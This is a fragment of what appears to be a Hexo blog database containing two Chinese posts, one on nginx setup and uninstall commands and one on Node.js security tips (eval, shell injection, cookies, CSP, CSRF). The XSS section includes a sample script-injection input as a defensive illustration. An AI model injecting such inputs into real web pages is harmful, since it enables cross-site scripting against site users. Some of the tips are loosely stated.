Rambler.ru 站点开发的，第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布，因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。\n\n尽管Node.JS的性能不错，但处理静态事务确实不是他的专长，如：gzip编码，静态文件，HTTP缓存，SSL处理，负载平衡和反向代理及多站点代理等，都可以通过nginx来完成，从而减小node.js的负载，并通过nginx强大的缓存来节省您网站的流量从而提高网站的加载速度。\n\n## 查看 nginx \b进程\n\n```t\nps aux|grep nginx\n```\n\n## nginx.conf 配置\n\n```-t\nserver {\n                listen       3001;\n                server_name  localhost;\n\n                #charset koi8-r;\n\n                #access_log  logs/host.access.log  main;\n\n                location / {\n                        root   html;\n                        index  index.html index.htm;\n                }\n        }\n```\n> 大约 36 行的位置，端口号可以设置其他，最好不要用80，设置好之后重启。\n\n## nginx 问题总结\n\n### ubuntu 下卸载不干净\n\n```t\nsudo apt-get remove nginx nginx-common # 卸载删除除了配置文件以外的所有文件。\n\nsudo apt-get purge nginx nginx-common # 卸载所有东东，包括删除配置文件。\n\nsudo apt-get autoremove # 在上面命令结束后执行，主要是卸载删除Nginx的不再被使用的依赖包。\n\nsudo apt-get remove nginx-full nginx-common #卸载删除两个主要的包。\n\nsudo service nginx restart  #重启nginx\n```","source":"_posts/nginx配置和问题处理.md","raw":"---\ntitle: nginx配置和问题处理\ndate: 2018-04-26 11:16:23\ntags: [nginx]\ncategories: 代理\n---\n# nginx \b\b介绍\n\nNginx (\"engine x\") 是一个高性能的 HTTP 和 反向代理服务器，也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的，第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布，因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。\n\n尽管Node.JS的性能不错，但处理静态事务确实不是他的专长，如：gzip编码，静态文件，HTTP缓存，SSL处理，负载平衡和反向代理及多站点代理等，都可以通过nginx来完成，从而减小node.js的负载，并通过nginx强大的缓存来节省您网站的流量从而提高网站的加载速度。\n\n## 查看 nginx \b进程\n\n```t\nps aux|grep nginx\n```\n\n## nginx.conf 配置\n\n```-t\nserver {\n                listen       3001;\n                server_name  localhost;\n\n                #charset koi8-r;\n\n                #access_log  logs/host.access.log  main;\n\n                location / {\n                        root   html;\n                        index  index.html index.htm;\n                }\n        }\n```\n> 大约 36 行的位置，端口号可以设置其他，最好不要用80，设置好之后重启。\n\n## nginx 问题总结\n\n### ubuntu 下卸载不干净\n\n```t\nsudo apt-get remove nginx nginx-common # 卸载删除除了配置文件以外的所有文件。\n\nsudo apt-get purge nginx nginx-common # 卸载所有东东，包括删除配置文件。\n\nsudo apt-get autoremove # 在上面命令结束后执行，主要是卸载删除Nginx的不再被使用的依赖包。\n\nsudo apt-get remove nginx-full nginx-common #卸载删除两个主要的包。\n\nsudo service nginx restart  #重启nginx\n```","slug":"nginx配置和问题处理","published":1,"updated":"2018-04-26T03:37:06.244Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y59001dvzqhfd2a6ugy","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h1 id=\"nginx-介绍\"><a href=\"#nginx-介绍\" class=\"headerlink\" title=\"nginx \b\b介绍\"></a>nginx \b\b介绍</h1><p>Nginx (“engine x”) 是一个高性能的 HTTP 和 反向代理服务器，也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的，第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布，因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。</p>\n<p>尽管Node.JS的性能不错，但处理静态事务确实不是他的专长，如：gzip编码，静态文件，HTTP缓存，SSL处理，负载平衡和反向代理及多站点代理等，都可以通过nginx来完成，从而减小node.js的负载，并通过nginx强大的缓存来节省您网站的流量从而提高网站的加载速度。</p>\n<h2 id=\"查看-nginx-进程\"><a href=\"#查看-nginx-进程\" class=\"headerlink\" title=\"查看 nginx \b进程\"></a>查看 nginx \b进程</h2><pre><code class=\"t\">ps aux|grep nginx\n</code></pre>\n<h2 id=\"nginx-conf-配置\"><a href=\"#nginx-conf-配置\" class=\"headerlink\" title=\"nginx.conf 配置\"></a>nginx.conf 配置</h2><pre><code class=\"-t\">server {\n                listen       3001;\n                server_name  localhost;\n\n                #charset koi8-r;\n\n                #access_log  logs/host.access.log  main;\n\n                location / {\n                        root   html;\n                        index  index.html index.htm;\n                }\n        }\n</code></pre>\n<blockquote>\n<p>大约 36 行的位置，端口号可以设置其他，最好不要用80，设置好之后重启。</p>\n</blockquote>\n<h2 id=\"nginx-问题总结\"><a href=\"#nginx-问题总结\" class=\"headerlink\" title=\"nginx 问题总结\"></a>nginx 问题总结</h2><h3 id=\"ubuntu-下卸载不干净\"><a href=\"#ubuntu-下卸载不干净\" class=\"headerlink\" title=\"ubuntu 下卸载不干净\"></a>ubuntu 下卸载不干净</h3><pre><code class=\"t\">sudo apt-get remove nginx nginx-common # 卸载删除除了配置文件以外的所有文件。\n\nsudo apt-get purge nginx nginx-common # 卸载所有东东，包括删除配置文件。\n\nsudo apt-get autoremove # 在上面命令结束后执行，主要是卸载删除Nginx的不再被使用的依赖包。\n\nsudo apt-get remove nginx-full nginx-common #卸载删除两个主要的包。\n\nsudo service nginx restart  #重启nginx\n</code></pre>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h1 id=\"nginx-介绍\"><a href=\"#nginx-介绍\" class=\"headerlink\" title=\"nginx \b\b介绍\"></a>nginx \b\b介绍</h1><p>Nginx (“engine x”) 是一个高性能的 HTTP 和 反向代理服务器，也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的，第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布，因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。</p>\n<p>尽管Node.JS的性能不错，但处理静态事务确实不是他的专长，如：gzip编码，静态文件，HTTP缓存，SSL处理，负载平衡和反向代理及多站点代理等，都可以通过nginx来完成，从而减小node.js的负载，并通过nginx强大的缓存来节省您网站的流量从而提高网站的加载速度。</p>\n<h2 id=\"查看-nginx-进程\"><a href=\"#查看-nginx-进程\" class=\"headerlink\" title=\"查看 nginx \b进程\"></a>查看 nginx \b进程</h2><pre><code class=\"t\">ps aux|grep nginx\n</code></pre>\n<h2 id=\"nginx-conf-配置\"><a href=\"#nginx-conf-配置\" class=\"headerlink\" title=\"nginx.conf 配置\"></a>nginx.conf 配置</h2><pre><code class=\"-t\">server {\n                listen       3001;\n                server_name  localhost;\n\n                #charset koi8-r;\n\n                #access_log  logs/host.access.log  main;\n\n                location / {\n                        root   html;\n                        index  index.html index.htm;\n                }\n        }\n</code></pre>\n<blockquote>\n<p>大约 36 行的位置，端口号可以设置其他，最好不要用80，设置好之后重启。</p>\n</blockquote>\n<h2 id=\"nginx-问题总结\"><a href=\"#nginx-问题总结\" class=\"headerlink\" title=\"nginx 问题总结\"></a>nginx 问题总结</h2><h3 id=\"ubuntu-下卸载不干净\"><a href=\"#ubuntu-下卸载不干净\" class=\"headerlink\" title=\"ubuntu 下卸载不干净\"></a>ubuntu 下卸载不干净</h3><pre><code class=\"t\">sudo apt-get remove nginx nginx-common # 卸载删除除了配置文件以外的所有文件。\n\nsudo apt-get purge nginx nginx-common # 卸载所有东东，包括删除配置文件。\n\nsudo apt-get autoremove # 在上面命令结束后执行，主要是卸载删除Nginx的不再被使用的依赖包。\n\nsudo apt-get remove nginx-full nginx-common #卸载删除两个主要的包。\n\nsudo service nginx restart  #重启nginx\n</code></pre>\n"},{"title":"nodeJS性能处理（一）","date":"2018-04-25T01:56:24.000Z","_content":"# 介绍\n\n目前市面上有很多后台纯 node 的项目，但是用 node 做后端还是有一系列的问题，比如稳定性，安全性，抛开这两块还要优化性能，如何提高用户的访问速度，在网络不佳（2G）的情况下如何能正常访问项目，都是一系列需要考虑的问题。本章内容针对安全性给出相关技巧。\n\n## 1. 不要用 Eval\n\neval 的作用是将用户输入的字符串转化为可执行的代码，类似欺骗的效果，这样的坏处是会受到 XSS 攻击。\n\n## 2. 使用 strict 模式\n\n严格模式下的变量声明会抛出一些隐藏的错误。\n\n```js\n'use strict'\nvar obj = {\n  a: '1',\n  a: '2'\n}\n// 抛出错误 syntax error\n```\n\n## 3. 使用 Eslint 测试代码规范\n\n可以使我们早期捕获一些 bug，并及时修正。\n\n## 4. 全面测试\n\n测试很重要，不但单元要测试，还要全面测试，例如用 mocha 测试代码覆盖率。\n\n## 5. Unix 下不要直接使用 sudo node app.js\n\n这样如果产生错误，会让整个系统宕机，可以使用 nginx 反向代理。\n\n## 6. 避免 shell command 注入\n\n```-t\nchild_process.exec('ls', function (err, data) {\n    console.log(data);\n});\n```\n\n上面的 child_process.exec 调用的是 /bin/sh ,也就是执行了一个解释器。\n> 为了避免这个问题，我们可以使用：child_process.execFile。\n\n## 7. 临时文件\n\n创建文件时，处理上传的文件要注意，这些文件可能会吃掉你的磁盘所有空间。\n> 使用 Streams。\n\n## 8. 加密 Web 应用\n\n用 https 代替 http，请求的过程可以添加签名头。\n\n## 9. Reflected Cross Site Scripting\n\n也就是跨站脚本攻击，就是但用户发送一段数据，如果在未做任何处理的情况下直接插入 DOM，这可能会出现安全问题，例如：\n\n```js\n//用户输入的数据中带脚本，如果不做处理，会被执行。\nIm human <script>alert('I‘m hacker')<script>\n```\n\n> 处理方式：1. 对插入的数据进行验证，除去 HTML。\n\n## 10. 看好你的 cookie\n\n默认情况下，cookie 可以通过 js 在同一个域中读取，这就有可能会被跨站点脚本攻击，而且可能被第三方库读取。为了处理这种情况，我们可以在 cookies 上使用 HTTPOnly，这个标签可以让 js 无法读取。\n\n## 11. 内容安全策略（CSP）\n\n附加的安全层，可以检测和缓解某类攻击，例如：XSS、数据注入。启用方法如下：\n\n```-t\nContent-Security-Policy: default-src 'self' *.mydomain.com\n```\n\n## 12. Cross-Site Request Forgery\n\n跨站请求伪造是一种迫使终端用户在他目前已验证授权的Web应用程序中执行其它的actions。node 社区已实现，可以使用同步令牌模式处理。\n","source":"_posts/nodeJS性能处理一.md","raw":"---\ntitle: nodeJS性能处理（一）\ndate: 2018-04-25 09:56:24\ntags: [性能, 安全]\ncategories: nodeJS\n---\n# 介绍\n\n目前市面上有很多后台纯 node 的项目，但是用 node 做后端还是有一系列的问题，比如稳定性，安全性，抛开这两块还要优化性能，如何提高用户的访问速度，在网络不佳（2G）的情况下如何能正常访问项目，都是一系列需要考虑的问题。本章内容针对安全性给出相关技巧。\n\n## 1. 不要用 Eval\n\neval 的作用是将用户输入的字符串转化为可执行的代码，类似欺骗的效果，这样的坏处是会受到 XSS 攻击。\n\n## 2. 使用 strict 模式\n\n严格模式下的变量声明会抛出一些隐藏的错误。\n\n```js\n'use strict'\nvar obj = {\n  a: '1',\n  a: '2'\n}\n// 抛出错误 syntax error\n```\n\n## 3. 使用 Eslint 测试代码规范\n\n可以使我们早期捕获一些 bug，并及时修正。\n\n## 4. 全面测试\n\n测试很重要，不但单元要测试，还要全面测试，例如用 mocha 测试代码覆盖率。\n\n## 5. Unix 下不要直接使用 sudo node app.js\n\n这样如果产生错误，会让整个系统宕机，可以使用 nginx 反向代理。\n\n## 6. 避免 shell command 注入\n\n```-t\nchild_process.exec('ls', function (err, data) {\n    console.log(data);\n});\n```\n\n上面的 child_process.exec 调用的是 /bin/sh ,也就是执行了一个解释器。\n> 为了避免这个问题，我们可以使用：child_process.execFile。\n\n## 7. 临时文件\n\n创建文件时，处理上传的文件要注意，这些文件可能会吃掉你的磁盘所有空间。\n> 使用 Streams。\n\n## 8. 加密 Web 应用\n\n用 https 代替 http，请求的过程可以添加签名头。\n\n## 9. Reflected Cross Site Scripting\n\n也就是跨站脚本攻击，就是但用户发送一段数据，如果在未做任何处理的情况下直接插入 DOM，这可能会出现安全问题，例如：\n\n```js\n//用户输入的数据中带脚本，如果不做处理，会被执行。\nIm human <script>alert('I‘m hacker')<script>\n```\n\n> 处理方式：1. 对插入的数据进行验证，除去 HTML。\n\n## 10. 看好你的 cookie\n\n默认情况下，cookie 可以通过 js 在同一个域中读取，这就有可能会被跨站点脚本攻击，而且可能被第三方库读取。为了处理这种情况，我们可以在 cookies 上使用 HTTPOnly，这个标签可以让 js 无法读取。\n\n## 11. 内容安全策略（CSP）\n\n附加的安全层，可以检测和缓解某类攻击，例如：XSS、数据注入。启用方法如下：\n\n```-t\nContent-Security-Policy: default-src 'self' *.mydomain.com\n```\n\n## 12. Cross-Site Request Forgery\n\n跨站请求伪造是一种迫使终端用户在他目前已验证授权的Web应用程序中执行其它的actions。node 社区已实现，可以使用同步令牌模式处理。\n","slug":"nodeJS性能处理一","published":1,"updated":"2018-04-26T05:57:16.019Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y5b001hvzqhe9qrbbx3","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h1 id=\"介绍\"><a href=\"#介绍\" class=\"headerlink\" title=\"介绍\"></a>介绍</h1><p>目前市面上有很多后台纯 node 的项目，但是用 node 做后端还是有一系列的问题，比如稳定性，安全性，抛开这两块还要优化性能，如何提高用户的访问速度，在网络不佳（2G）的情况下如何能正常访问项目，都是一系列需要考虑的问题。本章内容针对安全性给出相关技巧。</p>\n<h2 id=\"1-不要用-Eval\"><a href=\"#1-不要用-Eval\" class=\"headerlink\" title=\"1. 不要用 Eval\"></a>1. 不要用 Eval</h2><p>eval 的作用是将用户输入的字符串转化为可执行的代码，类似欺骗的效果，这样的坏处是会受到 XSS 攻击。</p>\n<h2 id=\"2-使用-strict-模式\"><a href=\"#2-使用-strict-模式\" class=\"headerlink\" title=\"2. 使用 strict 模式\"></a>2. 使用 strict 模式</h2><p>严格模式下的变量声明会抛出一些隐藏的错误。</p>\n<pre><code class=\"js\">&#39;use strict&#39;\nvar obj = {\n  a: &#39;1&#39;,\n  a: &#39;2&#39;\n}\n// 抛出错误 syntax error\n</code></pre>\n<h2 id=\"3-使用-Eslint-测试代码规范\"><a href=\"#3-使用-Eslint-测试代码规范\" class=\"headerlink\" title=\"3. 使用 Eslint 测试代码规范\"></a>3. 使用 Eslint 测试代码规范</h2><p>可以使我们早期捕获一些 bug，并及时修正。</p>\n<h2 id=\"4-全面测试\"><a href=\"#4-全面测试\" class=\"headerlink\" title=\"4. 全面测试\"></a>4. 全面测试</h2><p>测试很重要，不但单元要测试，还要全面测试，例如用 mocha 测试代码覆盖率。</p>\n<h2 id=\"5-Unix-下不要直接使用-sudo-node-app-js\"><a href=\"#5-Unix-下不要直接使用-sudo-node-app-js\" class=\"headerlink\" title=\"5. Unix 下不要直接使用 sudo node app.js\"></a>5. Unix 下不要直接使用 sudo node app.js</h2><p>这样如果产生错误，会让整个系统宕机，可以使用 nginx 反向代理。</p>\n<h2 id=\"6-避免-shell-command-注入\"><a href=\"#6-避免-shell-command-注入\" class=\"headerlink\" title=\"6. 避免 shell command 注入\"></a>6. 避免 shell command 注入</h2><pre><code class=\"-t\">child_process.exec(&#39;ls&#39;, function (err, data) {\n    console.log(data);\n});\n</code></pre>\n<p>上面的 child_process.exec 调用的是 /bin/sh ,也就是执行了一个解释器。</p>\n<blockquote>\n<p>为了避免这个问题，我们可以使用：child_process.execFile。</p>\n</blockquote>\n<h2 id=\"7-临时文件\"><a href=\"#7-临时文件\" class=\"headerlink\" title=\"7. 临时文件\"></a>7. 临时文件</h2><p>创建文件时，处理上传的文件要注意，这些文件可能会吃掉你的磁盘所有空间。</p>\n<blockquote>\n<p>使用 Streams。</p>\n</blockquote>\n<h2 id=\"8-加密-Web-应用\"><a href=\"#8-加密-Web-应用\" class=\"headerlink\" title=\"8. 加密 Web 应用\"></a>8. 加密 Web 应用</h2><p>用 https 代替 http，请求的过程可以添加签名头。</p>\n<h2 id=\"9-Reflected-Cross-Site-Scripting\"><a href=\"#9-Reflected-Cross-Site-Scripting\" class=\"headerlink\" title=\"9. Reflected Cross Site Scripting\"></a>9. Reflected Cross Site Scripting</h2><p>也就是跨站脚本攻击，就是但用户发送一段数据，如果在未做任何处理的情况下直接插入 DOM，这可能会出现安全问题，例如：</p>\n<pre><code class=\"js\">//用户输入的数据中带脚本，如果不做处理，会被执行。\nIm human &lt;script&gt;alert(&#39;I‘m hacker&#39;)&lt;script&gt;\n</code></pre>\n<blockquote>\n<p>处理方式：1. 对插入的数据进行验证，除去 HTML。</p>\n</blockquote>\n<h2 id=\"10-看好你的-cookie\"><a href=\"#10-看好你的-cookie\" class=\"headerlink\" title=\"10. 看好你的 cookie\"></a>10. 看好你的 cookie</h2><p>默认情况下，cookie 可以通过 js 在同一个域中读取，这就有可能会被跨站点脚本攻击，而且可能被第三方库读取。为了处理这种情况，我们可以在 cookies 上使用 HTTPOnly，这个标签可以让 js 无法读取。</p>\n<h2 id=\"11-内容安全策略（CSP）\"><a href=\"#11-内容安全策略（CSP）\" class=\"headerlink\" title=\"11. 内容安全策略（CSP）\"></a>11. 内容安全策略（CSP）</h2><p>附加的安全层，可以检测和缓解某类攻击，例如：XSS、数据注入。启用方法如下：</p>\n<pre><code class=\"-t\">Content-Security-Policy: default-src &#39;self&#39; *.mydomain.com\n</code></pre>\n<h2 id=\"12-Cross-Site-Request-Forgery\"><a href=\"#12-Cross-Site-Request-Forgery\" class=\"headerlink\" title=\"12. Cross-Site Request Forgery\"></a>12. Cross-Site Request Forgery</h2><p>跨站请求伪造是一种迫使终端用户在他目前已验证授权的Web应用程序中执行其它的actions。node 社区已实现，可以使用同步令牌模式处理。</p>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h1 id=\"介绍\"><a href=\"#介绍\" class=\"headerlink\" title=\"介绍\"></a>介绍</h1><p>目前市面上有很多后台纯 node 的项目，但是用 node 做后端还是有一系列的问题，比如稳定性，安全性，抛开这两块还要优化性能，如何提高用户的访问速度，在网络不佳（2G）的情况下如何能正常访问项目，都是一系列需要考虑的问题。本章内容针对安全性给出相关技巧。</p>\n<h2 id=\"1-不要用-Eval\"><a href=\"#1-不要用-Eval\" class=\"headerlink\" title=\"1. 不要用 Eval\"></a>1. 不要用 Eval</h2><p>eval 的作用是将用户输入的字符串转化为可执行的代码，类似欺骗的效果，这样的坏处是会受到 XSS 攻击。</p>\n<h2 id=\"2-使用-strict-模式\"><a href=\"#2-使用-strict-模式\" class=\"headerlink\" title=\"2. 使用 strict 模式\"></a>2. 使用 strict 模式</h2><p>严格模式下的变量声明会抛出一些隐藏的错误。</p>\n<pre><code class=\"js\">&#39;use strict&#39;\nvar obj = {\n  a: &#39;1&#39;,\n  a: &#39;2&#39;\n}\n// 抛出错误 syntax error\n</code></pre>\n<h2 id=\"3-使用-Eslint-测试代码规范\"><a href=\"#3-使用-Eslint-测试代码规范\" class=\"headerlink\" title=\"3. 使用 Eslint 测试代码规范\"></a>3. 使用 Eslint 测试代码规范</h2><p>可以使我们早期捕获一些 bug，并及时修正。</p>\n<h2 id=\"4-全面测试\"><a href=\"#4-全面测试\" class=\"headerlink\" title=\"4. 全面测试\"></a>4. 全面测试</h2><p>测试很重要，不但单元要测试，还要全面测试，例如用 mocha 测试代码覆盖率。</p>\n<h2 id=\"5-Unix-下不要直接使用-sudo-node-app-js\"><a href=\"#5-Unix-下不要直接使用-sudo-node-app-js\" class=\"headerlink\" title=\"5. Unix 下不要直接使用 sudo node app.js\"></a>5. Unix 